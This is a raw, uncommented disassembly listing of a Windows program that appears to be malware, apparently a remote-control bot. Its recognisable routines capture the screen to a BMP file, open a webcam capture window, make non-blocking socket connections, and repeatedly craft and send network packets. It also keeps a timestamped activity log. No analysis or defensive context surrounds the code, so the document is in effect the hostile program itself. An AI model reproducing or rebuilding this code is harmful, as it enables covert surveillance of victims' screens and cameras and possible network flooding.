XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB868FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Ch, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C13BE800h, 2B900227h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57868h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435EECh, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 0E8006A14h, 22CB8BCh, 0EC8B5590h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360DCh, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh dd 50004CAFh, 43608C68h, 8D1BEB00h, 0FF500C45h, 4CAFB415h dd 0FFF88300h, 15FF2075h, 4CAF08h, 60486850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 601C68FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57868ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 3EE890FCh, 2B0227BCh, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB868h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2C68500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 610868FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0B4BEE856h dd 5F90022Ch ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF1C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF5C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0AEE8EC45h, 90716A0Dh, 6AEC4D8Dh dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E79CBF83h, 3468004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 34685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 92E890FFh, 2B0227B5h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25BE25E8h dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D130 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCB0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D130[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D148[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429230 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436150 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D130 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_43613C lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCB0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2790172h mov ebx, offset dword_4D2B9C mov edi, 80h mov esi, offset dword_4CEB9C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEB9C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2B9C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_43619C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436188 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361CC push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEB9C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2B9C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361B0 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dd 2CAC47E8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF60 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAF7C push 0Ah push edi mov [ebp+var_8], eax call dword_4CAF7C push 0Ch push edi mov [ebp+var_C], eax call dword_4CAF7C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAF7C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFC0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFB8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE44 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFBC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAE98 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 27008FEh cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call near ptr 26F0000h nop lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 26F0000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 26F0000h loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call near ptr 26F0000h nop push [ebp+arg_0] nop call near ptr 26608E4h push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAED0 push [ebp+var_4] call dword_4CAE30 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE30 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE30 push [ebp+var_4] call dword_4CAE30 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF14 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF14 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 